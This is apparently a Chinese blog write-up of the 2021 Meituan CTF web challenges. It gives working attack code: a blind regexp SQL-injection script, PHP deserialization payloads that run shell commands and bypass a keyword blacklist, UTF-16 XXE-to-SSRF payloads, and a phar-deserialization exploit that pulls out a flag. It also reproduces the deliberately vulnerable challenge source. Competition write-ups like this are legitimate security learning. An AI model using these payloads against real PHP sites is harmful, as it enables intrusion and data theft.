2021 美团CTF web题解

2021 美团CTF web题解

前言

周末抽了一天时间打了一下MTCTF,感觉很多题目都是原题魔改的。没有java和nodejs,只能说PHP YYDS ,由于比赛之后没有环境复现了,这里就把交上去的wp,做一点细节上的拓展。(月更博主上线了,可以说是老鸽子了

Web

这次web一共有4道题目,解题情况如下。easyCMS这题有了点思路,由于之后去写xxe就没有时间动了。

结果

sql

这题只能说炒冷饭了,p3出过一模一样的题,直接拿去年的脚本打了一发,还真能打通(逃。之后还是爆出密码,登录就可以得到flag 了。

知识点总结如下:

  1. 正则注入

  2. binary解决mysql大小写不敏感问题

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    # -*- coding: utf-8 -*-
    """ Python
    Author: Mrkaixin
    Date: 2020-03-12 16:04
    FileName: exp.py
    """
    import requests
    import binascii

    import string

    def hex(num):
    num = str(num)
    return "0x" + str(binascii.b2a_hex(num.encode('utf-8')), 'utf-8')


    def main():
    url = "http://eci-2ze7rwkw5ezzjqoog0ix.cloudeci1.ichunqiu.com/index.php"
    alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C',
    'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
    'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',"_","{","}"]
    text = ""
    res = requests.session()
    for i in range(1, 50):
    for j in alphabet:
    # payload = text + j
    reg = hex(f"^{text + j}")
    data = {
    'password': f"||(`password` regexp binary({reg}))#".replace(" ", "/**/"),
    'username': 'admin\\'
    }
    proxies = {'http': 'http://127.0.0.1:8080'}
    r = res.post(url, data=data, proxies=proxies)
    if r.text.find("flag is not here!") != -1:
    text += j
    print(text)
    else:
    print("now: " + j)

    pass


    if __name__ == '__main__':
    main()

easyTricks

这一题一共分为两关,第一关是通过sql注入去拿到密码到后台登录。由于第一关原题。甚至出题人连密码都没改,从网上找到writeup直接找到密码就可以登录。

安恒月赛2020年DASCTF——四月春季赛—Web-Writeup_SopRomeo的博客-CSDN博客

1
admin/GoODLUcKcTFer202OHAckFuN

输入账号密码,直接进入后台。f12提示有admin.rar 得到源码。解压之后为如下目录结构

目录结构

这里的核心在于preload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);

class preload
{
public $class;
public $contents;
public $method;

public function __construct()
{
$this->class = "<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->contents = "new hacker();";
$this->method = "\$hack->hack();";
}

public function waf($parm)
{
$blacklist = "/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
return preg_match($blacklist, $parm);
}

public function write()
{
if ($this->waf($this->contents) || strlen($this->contents) > 60 || preg_match_all('/\\(/i', $this->contents, $matches) > 2 || preg_match_all('/\\)/i', $this->contents, $matches) > 2) {
die("<br>" . "no no no");
}
if (preg_match_all('/;/i', $this->contents, $matches) > 2) {
die("<br>" . "try hard");
}
if (file_exists(dirname(__FILE__) . "/hack.php")) {
unlink(dirname(__FILE__) . "/hack.php");
}
file_put_contents(dirname(__FILE__) . "/hack.php", $this->class);
file_put_contents(dirname(__FILE__) . "/hack.php", $this->contents, FILE_APPEND);
file_put_contents(dirname(__FILE__) . "/hack.php", $this->method, FILE_APPEND);
}

public function __wakeup()
{
$this->class = "<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->method = "\$hack->hack();";
}

public function __destruct()
{
$this->write();
}
}


$a=$_POST['a'];
unserialize($a);
$preload=new preload();
?>

虽然我们都知道__wakeup可以通过修改成员个数即可绕过,但是这题由于版本比较高,即便是你可以绕过,但是你也绝对无法控制$this->class$this->method这两个值。

这里稍微梳理一下攻击链

  1. 出入序列化的preload对象,触发__wakeup防止classmethod可控
  2. 触发__destruct,将classmethodcontent写进hack.php
  3. 访问cli.php触发hack.php(存疑
  4. 由于$preload=new preload();的原因,我们的文件会被重新替换掉,所以需要利用条件竞争来触发我们的hack.php

所以我们唯一可控的便是$this->content。我们来看一下对$content的限制

  1. 不能出现黑名单中的关键字
  2. 长度小于60
  3. 左右括号个数小于2

其实这里给的限制还是非常的宽松的,唯一有用的就是1/3小点了。这里我的思路是利用('sys'.'tem')('whoami')的结构来命令执行,配合通配符来读flag

但是我们可以看到,他将小数点给ban了,并且也把数字给ban了,不能通过什么进制转换来操作了。所以这里我们尝试使用一些函数来将字符串连接起来

1
2
join("",["sys","tem"])("ipconfig");
implode(['sys','tem'])("ipconfig");

这样我们就可以在content中命令执行了,这时候我们发现如果通过cli.php去竞争很慢,不如直接竞争hack.php

所以最终的思路如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class preload
{
public $class;
public $contents;
public $method;

public function __construct()
{
$this->class = "<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->contents="'a';?><?php echo implode(scandir('/'))?>";
$this->contents = "'a';?><?php implode(['sys','tem'])('cat /fla*');?>";
$this->method = "\$hack->hack();";

}
}

echo urlencode(serialize(new preload()));

xx_elogin

通过首页ajax请求可以发现api.php路由下存在xxe,但是ban了SYSTEM,以及http禁止出网。这里一共有两种方式可以绕过SYSTEM被ban的限制。

绕过正则

第一种方式

在这片文章中,XXE,提到了一种绕过姿势,利用公用实体dtd的方式来绕过,这样可以代替SYSTEM来用,再配合上php 伪协议可以读到文件源码

1
<!ENTITY % ent2 PUBLIC "any_text" "php">

第二种方式

通过utf16来绕过,这样子会完全打乱整个xml的样式,导致很轻易的就可以bypass,system和不能出网的限制。

首先创建xxe.xml文件如下

1
2
3
4
5
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe PUBLIC "aaa" "http://127.0.0.1:80/login.php?username=admin&password=admin&jpg=zlib:phar://162177323914.jpg" >]>
<foo>&xxe;</foo>

ubuntu或者wsl中修改文件编码格式。

1
2
~/games# vim xxe.xml
~/games# iconv -f utf-8 -t utf-16be < xxe.xml > xxe-utf-16.xml

获取源码

这里由于是需要代码审计,可能涉及比较长的代码。

目录结构

可以获取到源码,根据提示flag在环境变量里面.先来看看login.php,这里可以看到分为guestadmin两个用户身份。但是很明显的是admin需要本地登录, 那么思路就很清晰了,需要ssrf使得admin登录,即xxe->ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
session_start();
$username = $_GET['username'];
$password = $_GET['password'];
// 哈哈,我数据库都不用你还能秒我。
if($username === 'guest' && $password === 'guest111222333444555666@#$!'){
$_SESSION['is_admin'] = '0';
header("Location:guest.php");
}
elseif($username === 'admin' && $password === 'admin' && $_SERVER['REMOTE_ADDR'] == '::1'){
// 仅允许管理员从本地访问,这样总安全了吧!!!
$_SESSION['is_admin'] = '1';
include('admin.php');
}else{
echo 'username or password error';
}
?>

guest文件中可以发现,可以上传一个文件,通过后面的代码审计不难发现可以上传一个phar文件,利用phar文件不需要后缀名的特点,来触发反序列化。

经过测试gz文件其实也不需要后缀名,并且使用readgzfile可以读出文件内容。说不定哪次以这个思路去出一个题目读flag或者源码啥的2333(逃)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
error_reporting(0);
session_start();
if($_SESSION['is_admin'] !== '0'){
die("you don't have permission");
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>welcome guest</title>
</head>

<body>
<h2>图片库</h2>
<div>
<p>既然来了,就留下点什么吧(ಡωಡ)hiahiahia</p>
</div>

<form action="guest.php" method="post" enctype="multipart/form-data">
<label for="pic">文件名:</label>
<input type="file" name="pic" id="pic"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>
<?php
if(isset($_FILES['pic'])){
$file = $_FILES['pic'];
$file_size = $file['size'];
if($file_size > 2*1024*1024){
echo 'pic too long';
return false;
}
$file_type = $file['type'];
if($file_type != 'image/jpeg' && $file_type != 'image/gif' && $file_type != 'image/png'){
echo 'file type error';
return false;
}
$ext = end(explode('.', $file['name']));
if(!in_array($ext,array('jpg','png','gif'))){
echo 'file ext error';
return false;
}
if(is_uploaded_file($file['tmp_name'])){
$upload_file = $file['tmp_name'];
$user_path = './uploads/';
$filename = time().rand(1,100).'.'.$ext;
if(move_uploaded_file($file['tmp_name'],$user_path.$filename)){
echo $user_path.$filename;
}
}
}
?>

admin.php中可以看到有一个特殊的类,很明显有一个sink点,调用了两个敏感函数evalcreate_function。当admin访问admin.php的时候,会传入一个jpg的值,并且会通过调用readgzfile($flag_pic)来触发phar文件。

1
2
3
4
5
compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://

这里可以选用zlib:phar://的方式绕过正则触发phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
session_start();

class secret
{
public $hint;
private $flag;

public function __construct()
{
$this->hint = "readfile";
}

public function __destruct()
{
$this->flag = getenv('ICQ_FLAG');
$what_you_want = $this->flag;
eval('$flag' . '= create_function("",\'echo "' . $what_you_want . '";\');');
$hint = $this->hint;
$hint('hinttttttttttttttttttttttttttttttt.txt');
}
}


if ($_SESSION['is_admin'] !== '1') {
echo 'only admin can see flag';
} elseif ($_SESSION['is_admin'] === '1') {
echo 'welcome admin!!!';
$dir = scandir('./uploads');
unset($dir[0]);
unset($dir[1]);
$beautiful = $_GET['jpg'];
$flag_pic = $beautiful ? $beautiful : $dir[array_rand($dir, 1)];
if (!preg_match("/^phar|smtp|compress|dict|zip|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i", $flag_pic)) {
chdir('./uploads');
if (readgzfile($flag_pic)) {
copy($flag_pic, '../lovestpic/lovest_' . time() . '.pic');
}
}
}

?>

这里带出flag,我一开始有两种想法,第一个方法是通过调用

$this->hint = &$this->flag,来通过报错带出flag,但是看了眼error_reporting(0);是没有希望了。

第二个思路就是

由于create_function会产生匿名函数,所以另hint 为匿名函数即可带出flag,所以步骤如下,创建1.phar 然后修改文件名上传上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class secret
{
public $hint;
private $flag;

public function __construct()
{
$this->hint="\x00lambda_4";
}


}
$phar = new Phar("uploads/1.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata(new secret());
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

通过如下xxe来触发phar

1
2
3
4
5
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe PUBLIC "aaa" "http://127.0.0.1:80/login.php?username=admin&password=admin&jpg=zlib:phar://162177323914.jpg" >]>
<foo>&xxe;</foo>

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...